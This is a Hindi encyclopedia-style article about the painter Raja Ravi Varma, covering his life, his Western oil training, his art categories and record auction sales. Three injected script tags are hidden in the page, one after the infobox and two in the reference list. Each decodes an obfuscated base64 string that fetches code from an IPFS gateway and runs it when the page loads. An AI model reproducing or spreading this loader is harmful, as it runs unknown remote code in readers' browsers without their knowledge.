राजा रवि वर्मा
raja ravi varma
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| poora nam | raja ravi varma |
| janm | 29 aprail 1848 |
| janm bhoomi | tiruvanantapuram, keral |
| mrityu | 2 aktoobar 1906 |
| mrityu sthan | tiruvanantapuram |
| prasiddhi | chitrakar |
| nagarikata | bharatiy |
| any janakari | unake dvara banaee gee ek aitihasik kalakriti, jo bharat mean british raj ke dauran britani raj ke ek uchch adhikari aur maharaja ki mulaqat ko chitrit karati hai, 1.24 miliyan d aaular (lagabhag 6 karo d) mean biki hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>raja ravi varma (aangrezi: Raja Ravi Varma, 29 aprail 1848 - 2 aktoobar 1906) bharat ke vikhyat chitrakar the. unhoanne bharatiy sahity aur sanskriti ke patroan ka chitran kiya. unake chitroan ki sabase b di visheshata hindoo mahakavyoan aur dharm granthoan par banae ge chitr haian. hindoo mithakoan ka bahut hi prabhavashali ishtemal unake chitroan mean dikhata hai. is sangrahalay mean unake chitroan ka bahut b da sangrah hai.
jivan parichay
raja ravi varma ka janm 29 aprail 1848 ko keral ke ek chhote se gaanv kilimannoor mean hua. paanch varsh ki chhoti-si ayu mean hi unhoanne apane ghar ki divaroan ko dainik jivan ki ghatanaoan se chitrit karana praranbh kar diya tha. unake chacha kalakar raja raja varma ne unaki pratibha ko pahachana aur kala ki praranbhik shiksha di. chaudah varsh ki ayu mean ve unhean tiruvanantapuram le gaye jahaan rajamahal mean unaki tail chitran ki shiksha huee. bad mean chitrakala ke vibhinn ayamoan mean dakshata ke liye unhoanne maisoor, b dauda aur desh ke any bhagoan ki yatra ki. [[chitr:krishna-birth.jpg|krishna janm vasudev, krishna ko kans ke karagar mathura se gokul le jate hue, dvara- raja ravi varma|thumb|left]] raja ravi varma ki saphalata ka shrey unaki suvyavasthit kala shiksha ko jata hai. unhoanne pahale paranparik tanjavur kala mean maharat prapt ki aur phir yooropiy kala ka adhyayan kiya.
rochak tathy
- vishv ki sabase mahangi sa di raja ravi varma ke chitroan ki nakal se susajjit hai. beshakimati 12 ratnoan v dhatuoan se j di, 40 lakh rupaye ki sa di ko duniya ki sabase mahangi sa di ke taur par 'limka buk aauph varld rekard' mean shamil kiya gaya tha.
- aktoobar 2007 mean unake dvara banaee gee ek aitihasik kalakriti, jo bharat mean british raj ke dauran britani raj ke ek uchch adhikari aur maharaja ki mulaqat ko chitrit karati hai, 1.24 miliyan d aaular (lagabhag 6 karo d) mean biki hai. is peantiang mean travanakor ke maharaj aur unake bhaee ko madras ke gavarnar janaral richard teanpal grenavile ko svagat karate hue dikhaya gaya hai. grenavile 1880 mean adhikarik yatra par travanakor ge the jo ab keral rajy mean hai. vishv ki sabase mahangi sa di raja ravi varma ke chitroan ki naqal se susajjit hai. beshakimati 12 ratnoan v dhatuoan se j di, 40 lakh rupaye ki sa di ko duniya ki sabase mahangi sa di ke taur par 'limka buk aauph varld rekard' mean shamil kiya gaya hai.
- film nirmata ketan mehata ne raja ravi varma ke jivan par philm banayi. mehata ki philm mean raja ravi varma ki bhoomika nibhayi abhineta ranadip hudda ne. philm ki abhinetri haian nandana sen. is philm ki khas bat yah hai ki ise hindi aur aangrezi donoan bhashaoan mean ek sath banaya gaya hai.
adhunik bharatiy chitrakala ke janmadata
[[chitr:Raja-Ravi-Verma-1971-Stamp.jpg|thumb|250px|raja ravi varma par jari dak tikat]] adhunik bharatiy chitrakala ko janm dene ka shrey raja ravi varma ko jata hai. unaki kalaoan mean pashchimi rang ka prabhav saph najar ata hai. unhoanne paranparik tanjavur kala aur yooropiy kala ka sanpoorn adhyayan kar usamean maharat hasil ki thi. unhoanne bharatiy paranparaoan ki simaoan se bahar nikalate hue chitrakari ko ek naya ayam diya. beshak unake chitroan ka adhar bharatiy pauranik kathaoan se lie ge patr the, lekin rangoan aur akaroan ke jarie unaki abhivyakti aj bhi prasangik lagati hai.
unhoanne us samay mean khulepan ko svikar kiya, jab is bare mean sochana bhi mushkil tha. raja ravi varma ne is vicharadhara ko n sirph atmasat kiya, balki apane kainavas par rangoan ke madhyam se ukera bhi. yahi karan raha ki unaki kalakritiyoan ko us samay ke pratishthit chitrakaroan ne svikar karane se inakar kar diya tha. phir bhi unhoanne prayas nahian chho da aur bad mean unhian chitrakaroan ko unaki pratibha ka loha manana p da. unhoanne apani chitrakari mean prayog karana nahian chho da aur hamesha kuchh anokha aur naya karane ka prayas karate rahe.[1]
kalakriti shreniyaan
raja ravi varma ki kalakritiyoan ko tin pramukh shreniyoan mean baanta gaya hai-
- pratikriti ya portret
- manaviy akritiyoan vale chitr tatha
- itihas v puran ki ghatanaoan se sambandhit chitr
yadyapi janasadharan mean raja ravi varma ki lokapriyata itihas, puran v devi devataoan ke chitroan ke karan huee, lekin tail madhyam mean bani apani pratikritiyoan ke karan ve vishv mean sarvotkrisht chitrakar ke roop mean jane gaye. aj tak tail rangoan mean unaki jaisi sajiv pratikritiyaan banane vala kalakar doosara nahian hua.
sikhi pashchimi chitrakala
raja ravi varma ne pashchimi shaili ki chitrakala aur aauyal peantiang takanik thiyodor jeansan se sikhi, jo 1868 mean triveandram pailes ane vale dach chitrakar the. ravi varma ne maharaja aur raj parivar ke sadasyoan ke chitr nee shaili mean banae. unaki peantiang “mullppoo choodiya nayar stri” se ve mashahoor hue, jisase unhean 1873 mean chennee mean ayojit chitr pradarshani mean pratham puraskar bhi mila. is peantiang ko aaustriya ke viena mean ayojit ek any pradarshani mean puraskrit bhi kiya gaya. 1876 mean unaki peantiang 'shakuantala' ko chennee mean ayojit ek pradarshani mean puraskrit kiya gaya.
130 sal bad biki peantiang
'phadar aauph m aaudarn iandiyan art' ke nam se jane jane vale mahan raja ravi varma ki ek peantiang 130 se adhik varshoan ke bad nilam huee. unaki pratishthit peantiang mean se ek yah peantiang 21.16 karo d rupaye mean bechi gee. 'draupadi vastraharan' nam ki is utkrisht peantiang mean dushasan ko mahabharat mean mahal mean kauravoan aur paandavoan se ghiri draupadi ki sa di utarane ke prayas ko dikhaya gaya hai. peantiang ki boli 15 karo d rupaye se 20 karo d rupaye ke bich aanki gee thi.[2]
mrityu
raja ravi varma ki mrityu 2 aktoobar, 1906 ko huee.
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vithika
- chitr:maharas.jpg
'jamuna'(gopiyoan ke sath krishna), dvara -raja ravi varma
- chitr:Harishchandra by Raja-Ravi-verma.jpg
raja harishchandr rajy khone ke bad apani patni aur putr ko bechate hue -raja ravi varma
tika-tippani aur sandarbh
- ↑ khuli chitrakari ke rasiya the raja ravi varma (hindi) navabharat taims. abhigaman tithi: 9 march, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharatiy kala itihas ke sabase mahan chitrakar the raja ravi varma (hiandi) jagran.com. abhigaman tithi: 12 march, 2024.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- adhikarik vebasait
- raja ravi varma : bharatiy kala jagath ke anashvar nagarik
- raja ravi varma adaraanjali – chitr pradarshani
- am logoan ke qarib thi raja ravi varma ki shaili
- raja ravi verma gallery
- Raja Ravi Varma (1848-1906) (Oil paintings)
- Paintings by Raja Ravi Varma
sanbandhit lekh
varnamala kramanusar lekh khoj
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